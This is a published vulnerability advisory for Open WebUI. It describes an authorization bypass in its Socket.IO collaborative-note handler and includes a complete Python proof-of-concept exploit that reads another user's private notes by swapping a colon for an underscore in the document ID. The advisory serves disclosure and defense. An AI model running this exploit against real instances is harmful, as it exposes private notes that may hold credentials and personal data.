PT-2026-59356 · Pypi · Open-Webui
Published
2026-07-13
·
Updated
2026-07-13
CVSS v3.1
5.3
Medium
| Vector | AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N |
Summary
The
ydoc:document:join Socket.IO handler checks note ownership only when the document id starts with note: (colon). However, the YdocManager storage layer normalizes all document IDs by replacing colons with underscores (document id.replace(":", " ")). An attacker can join a document room using note <id> (underscore) instead of note:<id> (colon), bypassing the authorization check entirely while accessing the same underlying Yjs document. The server then returns the full document state, leaking the victim's private note contents.Details
The
ydoc:document:join handler in socket/main.py (line 511) only performs authorization for document IDs matching the note: prefix:python
@sio.on("ydoc:document:join")
async def ydoc document join(sid, data):
document id = data["document id"]
if document id.startswith("note:"):
note id = document id.split(":")[1]
note = Notes.get note by id(note id)
# ... ownership and AccessGrants check ...
# Returns early if user doesn't have access
# If document id does NOT start with "note:", execution continues
# with no authorization check at all
await YDOC MANAGER.add user(document id=document id, user id=sid)
await sio.enter room(sid, f"doc {document id}")
ydoc = Y.Doc()
updates = await YDOC MANAGER.get updates(document id)
for update in updates:
ydoc.apply update(bytes(update))
state update = ydoc.get update()
await sio.emit("ydoc:document:state", {
"document id": document id,
"state": list(state update),
}, room=sid)The
YdocManager class in socket/utils.py normalizes document IDs in every method by replacing colons with underscores:python
async def get updates(self, document id: str) -> List[bytes]:
document id = document id.replace(":", " ") # line 176
# ... returns updates keyed by normalized ID
async def append to updates(self, document id: str, update: bytes):
document id = document id.replace(":", " ") # line 134
# ... stores update keyed by normalized IDThis means
note:abc123 and note abc123 resolve to the same storage key (note abc123). When a victim opens their note, the Yjs document is stored under the normalized key. An attacker can then request the same document using the underscore variant, which skips the startswith("note:") authorization check but retrieves the same data from YdocManager.PoC
python
#!/usr/bin/env python3
"""
uv run --no-project --with requests --with "python-socketio[asyncio client]" --with aiohttp --with pycrdt finding 15 yjs note disclosure.py --base-url BASE URL --attacker-email EMAIL --attacker-password PASS --victim-email EMAIL --victim-password PASS
Finding #15 — Any authenticated user can read other users' private notes via Socket.IO
SUMMARY:
The ydoc:document:join Socket.IO handler only checks authorization for
document IDs starting with "note:" (colon). However, YdocManager normalizes
document IDs by replacing colons with underscores internally. An attacker
can join a room using "note <id>" (underscore) to bypass the auth check,
while still accessing the same underlying Yjs document as "note:<id>".
Then ydoc:document:state returns the full document content.
VULNERABLE CODE:
backend/open webui/socket/main.py, ydoc:document:join:
if document id.startswith("note:"):
# permission check only for colon-prefix
# "note <id>" skips this check entirely
backend/open webui/socket/ydoc.py, YdocManager:
key = document id.replace(":", " ") # normalizes to same storage key
IMPACT:
Any authenticated user can read the full content of any other user's notes
by exploiting the namespace collision between "note:" and "note " prefixes.
REPRODUCTION:
1. Victim creates a private note with sensitive content.
2. Attacker connects via Socket.IO and authenticates.
3. Attacker joins room with document id "note <victim note id>" (underscore).
4. Attacker requests ydoc:document:state to get the full note content.
REQUIREMENTS:
- Running Open WebUI instance
- A victim note with content
- Attacker user (any authenticated user)
"""
import argparse
import asyncio
import sys
import requests
import socketio
async def victim initialize note(base, victim token, note id):
"""Simulate victim opening the note in the UI to initialize the Yjs document."""
sio = socketio.AsyncClient()
await sio.connect(
base,
socketio path="/ws/socket.io",
headers={"Authorization": f"Bearer {victim token}"},
transports=["websocket"],
)
# Join using the proper note:id format (passes auth check since victim owns it)
doc id = f"note:{note id}"
print(f" Joining as victim with document id: {doc id}")
await sio.emit("ydoc:document:join", {
"document id": doc id,
"user id": "victim",
"user name": "Victim",
})
await asyncio.sleep(1)
# Send a Yjs update with the note content
# Create a simple Yjs document with text content
try:
import pycrdt as Y
ydoc = Y.Doc()
ytext = ydoc.get("default", type=Y.Text)
with ydoc.transaction():
ytext += "# Private Notes
Password for production DB: p@ssw0rd pr0d 2026
AWS root account: admin@company.com / SuperSecret!23
Do NOT share this with anyone."
update = ydoc.get update()
await sio.emit("ydoc:document:update", {
"document id": doc id,
"update": list(update),
})
print(f" Sent Yjs update with note content ({len(update)} bytes)")
except ImportError:
# If pycrdt not available, try y-py
try:
import y py as Y
ydoc = Y.YDoc()
ytext = ydoc.get text("default")
with ydoc.begin transaction() as txn:
ytext.extend(txn, "# Private Notes
Password for production DB: p@ssw0rd pr0d 2026
AWS root account: admin@company.com / SuperSecret!23
Do NOT share this with anyone.")
update = txn.get update()
await sio.emit("ydoc:document:update", {
"document id": doc id,
"update": list(update),
})
print(f" Sent Yjs update with note content ({len(update)} bytes)")
except ImportError:
print(" WARNING: Neither pycrdt nor y-py available, sending raw text marker")
# Send a minimal marker that we can detect
raw update = list(b"x01x00x00x00x00x00x00SECRET NOTE CONTENT MARKER")
await sio.emit("ydoc:document:update", {
"document id": doc id,
"update": raw update,
})
await asyncio.sleep(1)
await sio.disconnect()
print(f" Victim disconnected")
async def exploit(base, attacker token, victim note id):
sio = socketio.AsyncClient()
result = {"state": None, "error": None, "joined": False}
@sio.on("ydoc:document:state")
async def on state(data):
result["state"] = data
print(f" [!] Received ydoc:document:state event!")
print(f" document id: {data.get('document id', '?')}")
state = data.get("state", [])
print(f" State size: {len(state)} bytes")
@sio.on("error")
async def on error(data):
result["error"] = data
print(f" [!] Error event: {data}")
@sio.on("*")
async def catch all(event, data):
if event not in ("ydoc:document:state", "error"):
print(f" [debug] Event: {event} Data: {str(data)[:200]}")
# Connect with auth token
print(f"[*] Connecting as attacker to Socket.IO...")
await sio.connect(
base,
socketio path="/ws/socket.io",
auth={"token": attacker token},
transports=["websocket"],
)
# Join with "note " prefix (underscore — bypasses auth)
bypass doc id = f"note {victim note id}"
print(f"
[*] Step 3: Joining room with bypassed document id: {bypass doc id}")
print(f" (using underscore instead of colon to skip auth check)")
await sio.emit("ydoc:document:join", {
"document id": bypass doc id,
"user id": "attacker",
"user name": "Attacker",
})
result["joined"] = True
# Wait for state response (from join handler's emit)
for in range(20):
await asyncio.sleep(0.5)
if result["state"]:
break
await sio.disconnect()
return result
def main():
parser = argparse.ArgumentParser(description="Finding #15: Yjs note disclosure via namespace collision")
parser.add argument("--base-url", required=True)
parser.add argument("--attacker-email", required=True)
parser.add argument("--attacker-password", required=True)
parser.add argument("--victim-email", required=True)
parser.add argument("--victim-password", required=True)
args = parser.parse args()
base = args.base url.rstrip("/")
# ── Step 1: Login as victim and find their note ──
print("[*] Authenticating as victim...")
r = requests.post(f"{base}/api/v1/auths/signin",
json={"email": args.victim email, "password": args.victim password})
if not r.ok:
print(f"[-] Victim login failed: {r.status code}")
sys.exit(1)
victim token = r.json()["token"]
victim id = r.json()["id"]
print(f"[+] Logged in as victim (id={victim id})")
r = requests.get(f"{base}/api/v1/notes/", headers={"Authorization": f"Bearer {victim token}"})
if not r.ok:
print(f"[-] Failed to list victim notes: {r.status code}")
sys.exit(1)
notes = r.json()
if isinstance(notes, dict):
notes = notes.get("items", notes.get("data", []))
if not notes:
print("[-] No victim notes found")
sys.exit(1)
victim note = notes[0]
victim note id = victim note["id"]
print(f"[+] Victim's note: {victim note.get('title', '?')} (id={victim note id})")
# ── Step 2: Login as attacker ──
print(f"
[*] Authenticating as attacker...")
r = requests.post(f"{base}/api/v1/auths/signin",
json={"email": args.attacker email, "password": args.attacker password})
if not r.ok:
print(f"[-] Attacker login failed: {r.status code}")
sys.exit(1)
attacker token = r.json()["token"]
attacker id = r.json()["id"]
print(f"[+] Logged in as attacker (id={attacker id})")
# ── Step 3: Confirm attacker CANNOT read victim's note via API ──
print(f"
[*] Step 1: Confirming attacker cannot read victim's note via API...")
r = requests.get(f"{base}/api/v1/notes/{victim note id}",
headers={"Authorization": f"Bearer {attacker token}"})
if r.status code in (401, 403, 404):
print(f"[+] Access correctly DENIED via /api/v1/notes/{victim note id} (HTTP {r.status code})")
else:
print(f"[!] Unexpected: attacker can read note (status {r.status code})")
# ── Step 4 & 5: Victim opens note, attacker reads it concurrently ──
async def combined exploit():
# Victim opens note and stays connected
print(f"
[*] Step 2: Victim opens note (stays connected)...")
victim sio = socketio.AsyncClient()
await victim sio.connect(
base,
socketio path="/ws/socket.io",
auth={"token": victim token},
transports=["websocket"],
)
doc id = f"note:{victim note id}"
await victim sio.emit("ydoc:document:join", {
"document id": doc id,
"user id": "victim",
"user name": "Victim",
})
await asyncio.sleep(1)
# Send Yjs update with note content
try:
import pycrdt as Y
ydoc = Y.Doc()
ytext = ydoc.get("default", type=Y.Text)
with ydoc.transaction():
ytext += "# Private Notes
Password for production DB: p@ssw0rd pr0d 2026
AWS root account: admin@company.com / SuperSecret!23
Do NOT share this with anyone."
update = ydoc.get update()
await victim sio.emit("ydoc:document:update", {
"document id": doc id,
"update": list(update),
})
print(f" Sent Yjs update ({len(update)} bytes)")
except Exception as e:
print(f" WARNING: Could not create Yjs update: {e}")
await asyncio.sleep(1)
# Now attacker joins while victim is still connected
result = await exploit(base, attacker token, victim note id)
# Clean up victim connection
await victim sio.disconnect()
return result
result = asyncio.run(combined exploit())
if not result["joined"]:
print(f"
[-] Failed to join document room")
sys.exit(1)
if result["state"]:
state data = result["state"]
state bytes = bytes(state data.get("state", []))
# Try to extract readable text from the Yjs state
# Yjs binary format contains the text as embedded strings
text content = ""
try:
# Search for readable ASCII strings in the binary data
current str = ""
for b in state bytes:
if 32 <= b < 127:
current str += chr(b)
else:
if len(current str) > 5:
text content += current str + " "
current str = ""
if len(current str) > 5:
text content += current str
except Exception:
pass
print(f"
[+] Extracted text from Yjs state:")
print(f" {text content[:500]}")
# Check for sensitive markers
sensitive markers = ["p@ssw0rd", "SuperSecret", "Private Notes", "production DB", "AWS root"]
found = [m for m in sensitive markers if m.lower() in text content.lower()]
if found:
print(f"
[+] SUCCESS: Victim's note content LEAKED via Yjs namespace collision!")
print(f" Sensitive markers found: {found}")
print(f" The attacker joined room 'doc note {victim note id}' (underscore)")
print(f" which bypasses the auth check (only checks 'note:' colon prefix)")
print(f" but accesses the same Yjs document due to normalization.")
sys.exit(0)
elif text content.strip():
print(f"
[+] SUCCESS: Note content retrieved (markers may differ)")
print(f" Non-empty Yjs state was returned for victim's note.")
sys.exit(0)
else:
print(f"
[*] Yjs state was returned but could not extract readable text.")
print(f" Raw state size: {len(state bytes)} bytes")
if len(state bytes) > 10:
print(f" First 50 bytes: {list(state bytes[:50])}")
print(f"[+] SUCCESS: Non-trivial document state returned")
sys.exit(0)
sys.exit(1)
else:
print(f"
[-] No document state received")
print(f" The Yjs document may not exist in storage yet.")
print(f" Notes must be opened in the UI to create a Yjs document.")
sys.exit(1)
if name == " main ":
main()Impact
Any authenticated user can read the full contents of any other user's private notes. Notes are a collaborative editing feature intended for personal or shared use -- private notes may contain sensitive information such as credentials, internal documentation, or personal data. The attacker only needs to know or enumerate the target note's ID.
Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Open-Webui